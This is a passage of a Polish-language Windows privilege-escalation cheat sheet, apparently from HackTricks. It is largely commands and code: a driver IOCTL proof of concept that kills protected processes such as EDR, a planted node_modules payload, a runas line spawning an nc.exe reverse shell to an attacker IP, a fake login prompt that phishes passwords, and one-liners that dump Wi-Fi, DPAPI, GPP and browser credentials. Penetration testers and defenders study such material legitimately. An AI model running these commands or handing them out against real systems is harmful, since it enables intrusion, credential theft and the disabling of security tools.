Sprawdź, czy możesz nadpisać jakiś registry albo binary, który będzie wykonany przez innego użytkownika.
Przeczytaj następną stronę, aby dowiedzieć się więcej o interesujących autoruns locations do eskalacji uprawnień:
Privilege Escalation with Autoruns
Drivers
Szukaj możliwych third party weird/vulnerable drivers
driverquery
driverquery.exe /fo table
driverquery /SI
Jeśli sterownik udostępnia dowolny kernel read/write primitive (częste w źle zaprojektowanych handlerach IOCTL), możesz eskalować, kradnąc token SYSTEM bezpośrednio z pamięci jądra. Zobacz technikę krok po kroku tutaj:
Arbitrary Kernel Rw Token Theft
W przypadku błędów race-condition, gdzie podatne wywołanie otwiera ścieżkę Object Manager kontrolowaną przez atakującego, celowe spowolnienie lookup (używając komponentów o maksymalnej długości lub głębokich łańcuchów katalogów) może wydłużyć okno z mikrosekund do dziesiątek mikrosekund:
Kernel Race Condition Object Manager Slowdown
Registry hive memory corruption primitives
Nowoczesne podatności hive pozwalają groom deterministyczne układy, nadużywać zapisywalnych potomków HKLM/HKU i zamieniać uszkodzenie metadanych w kernel paged-pool overflows bez własnego sterownika. Poznaj pełny łańcuch tutaj:
Windows Registry Hive Exploitation
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
Niektóre podpisane sterowniki firm trzecich tworzą swój device object z silnym SDDL przez IoCreateDeviceSecure, ale zapominają ustawić FILE_DEVICE_SECURE_OPEN w DeviceCharacteristics. Bez tej flagi secure DACL nie jest egzekwowany, gdy urządzenie jest otwierane przez ścieżkę zawierającą dodatkowy komponent, co pozwala każdemu nieuprzywilejowanemu użytkownikowi uzyskać handle, używając path namespace takiego jak:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (z rzeczywistego przypadku)
Gdy użytkownik może otworzyć urządzenie, uprzywilejowane IOCTLs udostępnione przez sterownik mogą być nadużyte do LPE i tampering. Zaobserwowane w praktyce możliwości:
- Zwracanie handle z pełnym dostępem do dowolnych procesów (token theft / SYSTEM shell przez DuplicateTokenEx/CreateProcessAsUser).
- Nieograniczony raw disk read/write (offline tampering, triki z boot-time persistence).
- Zamykanie dowolnych procesów, w tym Protected Process/Light (PP/PPL), co pozwala na AV/EDR kill z user land przez kernel.
Minimalny wzorzec PoC (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Mitigations for developers
- Zawsze ustawiaj FILE_DEVICE_SECURE_OPEN podczas tworzenia obiektów device intended to be restricted by a DACL.
- Waliduj context wywołującego dla uprzywilejowanych operacji. Dodaj checks PP/PPL przed zezwoleniem na zakończenie procesu lub zwracanie handle.
- Ograniczaj IOCTLs (access masks, METHOD_*, walidacja input) i rozważ modele brokered zamiast bezpośrednich kernel privileges.
Detection ideas for defenders
- Monitoruj user-mode opens podejrzanych nazw device (np. \ .\amsdk*) oraz konkretne sekwencje IOCTL wskazujące na abuse.
- Wymuszaj Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) i utrzymuj własne listy allow/deny.
PATH DLL Hijacking
Jeśli masz write permissions inside a folder present on PATH możesz przejąć DLL ładowaną przez proces i escalate privileges.
Sprawdź permissions wszystkich folderów inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Aby uzyskać więcej informacji o tym, jak nadużyć ten check:
Writable Sys Path +Dll Hijacking Privesc
Node.js / Electron module resolution hijacking via C:\node_modules
To jest wariant Windows uncontrolled search path, który wpływa na aplikacje Node.js i Electron, gdy wykonują prosty import, taki jak require("foo"), a oczekiwany moduł jest missing.
Node rozwiązuje pakiety, przechodząc w górę drzewa katalogów i sprawdzając foldery node_modules w każdym katalogu nadrzędnym. Na Windows ten przebieg może dojść aż do root dysku, więc aplikacja uruchomiona z C:\Users\Administrator\project\app.js może ostatecznie sprawdzać:
C:\Users\Administrator\project\node_modules\fooC:\Users\Administrator\node_modules\fooC:\Users\node_modules\fooC:\node_modules\foo
Jeśli low-privileged user może utworzyć C:\node_modules, może podłożyć złośliwy foo.js (lub folder pakietu) i czekać, aż higher-privileged Node/Electron process rozwiąże brakującą zależność. Payload wykonuje się w kontekście bezpieczeństwa procesu ofiary, więc staje się to LPE zawsze, gdy cel działa jako administrator, z podniesionego scheduled task/service wrapper, albo z automatycznie uruchamianej uprzywilejowanej aplikacji desktopowej.
Jest to szczególnie częste, gdy:
- zależność jest zadeklarowana w
optionalDependencies - biblioteka firm trzecich owija
require("foo")wtry/catchi kontynuuje po błędzie - pakiet został usunięty z buildów produkcyjnych, pominięty podczas pakowania albo nie udało się go zainstalować
- podatny
require()znajduje się głęboko w drzewie zależności, a nie w głównym kodzie aplikacji
Hunting vulnerable targets
Użyj Procmon, aby potwierdzić ścieżkę resolution:
- Filtruj po
Process Name= proces docelowy (node.exe, EXE aplikacji Electron albo proces wrappera) - Filtruj po
Pathcontainsnode_modules - Skup się na
NAME NOT FOUNDi końcowym udanym otwarciu podC:\node_modules
Przydatne wzorce code-review w rozpakowanych plikach .asar lub źródłach aplikacji:
rg -n 'require\\("[^./]' .
rg -n "require\\('[^./]" .
rg -n 'optionalDependencies' .
rg -n 'try[[:space:]]*\\{[[:space:][:print:]]*require\\(' .
Exploitation
- Zidentyfikuj brakującą nazwę pakietu z Procmon lub z analizy źródła.
- Utwórz katalog wyszukiwania root, jeśli jeszcze nie istnieje:
mkdir C:\node_modules
- Upuść moduł o dokładnie oczekiwanej nazwie:
// C:\node_modules\foo.js
require("child_process").exec("calc.exe")
module.exports = {}
- Wyzwól aplikację ofiary. Jeśli aplikacja spróbuje
require("foo"), a legalny moduł jest nieobecny, Node może załadowaćC:\node_modules\foo.js.
Rzeczywiste przykłady brakujących opcjonalnych modułów pasujących do tego wzorca to bluebird i utf-8-validate, ale technique jest elementem wielokrotnego użytku: znajdź dowolny missing bare import, który uprzywilejowany proces Windows Node/Electron będzie rozwiązywać.
Detection and hardening ideas
- Alert when a user creates
C:\node_modulesor writes new.jsfiles/packages there. - Hunt for high-integrity processes reading from
C:\node_modules\*. - Package all runtime dependencies in production and audit
optionalDependenciesusage. - Review third-party code for silent
try { require("...") } catch {}patterns. - Disable optional probes when the library supports it (for example, some
wsdeployments can avoid the legacyutf-8-validateprobe withWS_NO_UTF_8_VALIDATE=1).
Network
Shares
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
plik hosts
Sprawdź inne znane komputery zakodowane na sztywno w pliku hosts
type C:\Windows\System32\drivers\etc\hosts
Interfejsy sieciowe i DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Otwarte porty
Sprawdź z zewnątrz restricted services
netstat -ano #Opened ports?
Tabela routingu
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
Tabela ARP
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Reguły zapory
Sprawdź tę stronę po komendy związane z zaporą (lista reguł, tworzenie reguł, wyłączanie, wyłączanie…)
Więcej komend do enumeracji sieci tutaj
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Binary bash.exe można też znaleźć w C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Jeśli uzyskasz użytkownika root, możesz nasłuchiwać na dowolnym porcie (za pierwszym razem, gdy użyjesz nc.exe do nasłuchiwania na porcie, GUI zapyta, czy nc powinien być dozwolony przez firewall).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Aby łatwo uruchomić bash jako root, możesz spróbować --default-user root
Możesz eksplorować system plików WSL w folderze C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows Credentials
Winlogon Credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
Z https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault przechowuje poświadczenia użytkownika dla serwerów, stron internetowych i innych programów, które Windows może automatycznie logować użytkowników. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą teraz zapisywać swoje poświadczenia do Facebooka, Twittera, Gmaila itd., aby były automatycznie używane do logowania przez przeglądarki. Ale tak nie jest.
Windows Vault przechowuje poświadczenia, dzięki którym Windows może automatycznie logować użytkowników, co oznacza, że każda aplikacja Windows, która potrzebuje poświadczeń do dostępu do zasobu (serwera lub strony internetowej) może korzystać z tego Credential Managera i Windows Vault oraz używać podanych poświadczeń zamiast ciągłego wpisywania nazwy użytkownika i hasła.
Jeśli aplikacje nie współpracują z Credential Manager, nie sądzę, aby mogły używać poświadczeń dla danego zasobu. Jeśli więc Twoja aplikacja chce korzystać z vault, powinna w jakiś sposób komunikować się z credential manager i żądać poświadczeń dla tego zasobu z domyślnego storage vault.
Użyj cmdkey, aby wyświetlić zapisane poświadczenia na maszynie.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Następnie możesz użyć runas z opcją /savecred, aby skorzystać z zapisanych poświadczeń. Poniższy przykład wywołuje zdalny binarny plik przez udział SMB.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Używanie runas z podanym zestawem poświadczeń.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.
DPAPI
Data Protection API (DPAPI) zapewnia metodę symetrycznego szyfrowania danych, wykorzystywaną głównie w systemie Windows do symetrycznego szyfrowania asymetrycznych kluczy prywatnych. To szyfrowanie wykorzystuje sekret użytkownika lub systemu, aby znacząco zwiększyć entropię.
DPAPI umożliwia szyfrowanie kluczy za pomocą klucza symetrycznego pochodzącego z sekretów logowania użytkownika. W scenariuszach obejmujących szyfrowanie systemowe wykorzystuje sekrety uwierzytelniania domenowego systemu.
Zaszyfrowane klucze RSA użytkownika, z użyciem DPAPI, są przechowywane w katalogu %APPDATA%\Microsoft\Protect\{SID}, gdzie {SID} reprezentuje Security Identifier użytkownika. Klucz DPAPI, znajdujący się razem z master key zabezpieczającym klucze prywatne użytkownika w tym samym pliku, zwykle składa się z 64 bajtów losowych danych. (Warto zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wylistowanie jego zawartości za pomocą polecenia dir w CMD, choć można to zrobić przez PowerShell).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Możesz użyć mimikatz module dpapi::masterkey z odpowiednimi argumentami (/pvk lub /rpc), aby to odszyfrować.
credentials files chronione przez hasło master zwykle znajdują się w:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Możesz użyć mimikatz module dpapi::cred z odpowiednim /masterkey, aby odszyfrować.
Możesz wyodrębnić wiele DPAPI masterkeys z memory za pomocą modułu sekurlsa::dpapi (jeśli jesteś root).
PowerShell Credentials
PowerShell credentials są często używane do zadań scripting i automatyzacji jako wygodny sposób przechowywania zaszyfrowanych poświadczeń. Poświadczenia są chronione przy użyciu DPAPI, co zazwyczaj oznacza, że mogą być odszyfrowane tylko przez tego samego użytkownika na tym samym komputerze, na którym zostały utworzone.
Aby odszyfrować PS credentials z pliku, który je zawiera, możesz zrobić:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Zapisane połączenia RDP
Możesz je znaleźć w HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
oraz w HKCU\Software\Microsoft\Terminal Server Client\Servers\
Ostatnio uruchamiane polecenia
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Remote Desktop Credential Manager
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Użyj modułu Mimikatz dpapi::rdg z odpowiednim /masterkey, aby odszyfrować dowolne pliki .rdg
Możesz wyekstrahować wiele DPAPI masterkeys z pamięci za pomocą modułu sekurlsa::dpapi w Mimikatz
Sticky Notes
Ludzie często używają aplikacji StickyNotes na stacjach roboczych Windows do zapisywania haseł i innych informacji, nie zdając sobie sprawy, że jest to plik bazy danych. Plik ten znajduje się w C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite i zawsze warto go przeszukać oraz przeanalizować.
AppCmd.exe
Zwróć uwagę, że aby odzyskać hasła z AppCmd.exe, musisz być Administratorem i uruchomić go na poziomie High Integrity.
AppCmd.exe znajduje się w katalogu %systemroot%\system32\inetsrv\.
Jeśli ten plik istnieje, możliwe jest, że skonfigurowano tam jakieś credentials, które można odzyskać.
Ten kod został wyekstrahowany z PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Sprawdź, czy C:\Windows\CCM\SCClient.exe istnieje .
Instalatory są uruchamiane z uprawnieniami SYSTEM, wiele z nich jest podatnych na DLL Sideloading (Info from https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
Pliki i rejestr (poświadczenia)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Klucze hosta SSH Putty
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
Klucze SSH w rejestrze
Prywatne klucze SSH mogą być przechowywane w kluczu rejestru HKCU\Software\OpenSSH\Agent\Keys, więc warto sprawdzić, czy znajduje się tam coś interesującego:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Jeśli znajdziesz jakiś wpis w tej ścieżce, to prawdopodobnie jest to zapisany klucz SSH. Jest on przechowywany w postaci zaszyfrowanej, ale można go łatwo odszyfrować za pomocą https://github.com/ropnop/windows_sshagent_extract.
Więcej informacji o tej technice tutaj: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
Jeśli usługa ssh-agent nie działa i chcesz, aby uruchamiała się automatycznie przy starcie systemu, uruchom:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
Wygląda na to, że ta technika nie jest już aktualna. Spróbowałem utworzyć kilka kluczy ssh, dodać je za pomocą
ssh-addi zalogować się przez ssh do maszyny. Rejestr HKCU\Software\OpenSSH\Agent\Keys nie istnieje, a procmon nie zidentyfikował użyciadpapi.dllpodczas uwierzytelniania kluczem asymetrycznym.
Pliki unattended
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Możesz też wyszukać te pliki za pomocą metasploit: post/windows/gather/enum_unattend
Przykładowa zawartość:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
Kopie zapasowe SAM & SYSTEM
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Poświadczenia Cloud
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Szukaj pliku o nazwie SiteList.xml
Cached GPP Pasword
Wcześniej dostępna była funkcja, która umożliwiała wdrażanie niestandardowych lokalnych kont administratora na grupie maszyn za pomocą Group Policy Preferences (GPP). Jednak ta metoda miała poważne luki bezpieczeństwa. Po pierwsze, Group Policy Objects (GPOs), przechowywane jako pliki XML w SYSVOL, mogły być dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPPs, zaszyfrowane AES256 przy użyciu publicznie udokumentowanego domyślnego klucza, mogły zostać odszyfrowane przez dowolnego uwierzytelnionego użytkownika. Stwarzało to poważne ryzyko, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień.
Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie zbuforowane pliki GPP zawierające pole “cpassword”, które nie jest puste. Po znalezieniu takiego pliku funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera szczegóły dotyczące GPP i lokalizacji pliku, pomagając w identyfikacji i naprawie tej luki bezpieczeństwa.
Szukaj w C:\ProgramData\Microsoft\Group Policy\history lub w C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (przed W Vista) tych plików:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Aby odszyfrować cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Używanie crackmapexec do pozyskiwania haseł:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web Config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
type C:\Windows\Microsoft.NET\Framework644.0.30319\Config\web.config | findstr connectionString
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Przykład web.config z poświadczeniami:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
Poświadczenia OpenVPN
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Logi
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Poproś o credentials
Zawsze możesz poprosić użytkownika o wpisanie jego credentials albo nawet credentials innego użytkownika, jeśli myślisz, że może je znać (zauważ, że proszenie klienta bezpośrednio o credentials jest naprawdę ryzykowne):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Możliwe nazwy plików zawierających poświadczenia
Znane pliki, które jakiś czas temu zawierały hasła w clear-text lub Base64
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Przeszukaj wszystkie zaproponowane pliki:
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Poświadczenia w RecycleBin
Powinieneś również sprawdzić Bin, aby poszukać w nim poświadczeń
Aby odzyskać hasła zapisane przez różne programy, możesz użyć: http://www.nirsoft.net/password_recovery_tools.html
W rejestrze
Inne możliwe klucze rejestru z poświadczeniami
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Wyodrębnij klucze openssh z registry.
Historia Browserów
Powinieneś sprawdzić dbs, w których są przechowywane hasła z Chrome lub Firefox.
Sprawdź też historię, zakładki i ulubione browserów, bo może tam są zapisane jakieś hasła.
Tools do wyciągania haseł z browserów:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
Nadpisywanie COM DLL
Component Object Model (COM) to technologia wbudowana w system operacyjny Windows, która umożliwia intercommunication między komponentami software różnych języków. Każdy komponent COM jest identyfikowany przez class ID (CLSID), a każdy komponent udostępnia funkcjonalność przez jedną lub więcej interfaces, identyfikowanych przez interface IDs (IIDs).
Klasy i interfaces COM są zdefiniowane w registry pod HKEY\CLASSES\ROOT\CLSID oraz HKEY\CLASSES\ROOT\Interface odpowiednio. To registry jest tworzone przez połączenie HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
Wewnątrz CLSID-ów tego registry możesz znaleźć podrzędny registry InProcServer32, który zawiera default value wskazującą na DLL oraz wartość o nazwie ThreadingModel, która może być Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) albo Neutral (Thread Neutral).
.png)
Zasadniczo, jeśli możesz nadpisać dowolny z DLL-i, które będą wykonywane, możesz escalate privileges, jeśli ten DLL będzie uruchomiony przez innego usera.
Aby dowiedzieć się, jak attackers używają COM Hijacking jako mechanizmu persistence, sprawdź:
Ogólne wyszukiwanie haseł w plikach i registry
Wyszukaj zawartość plików
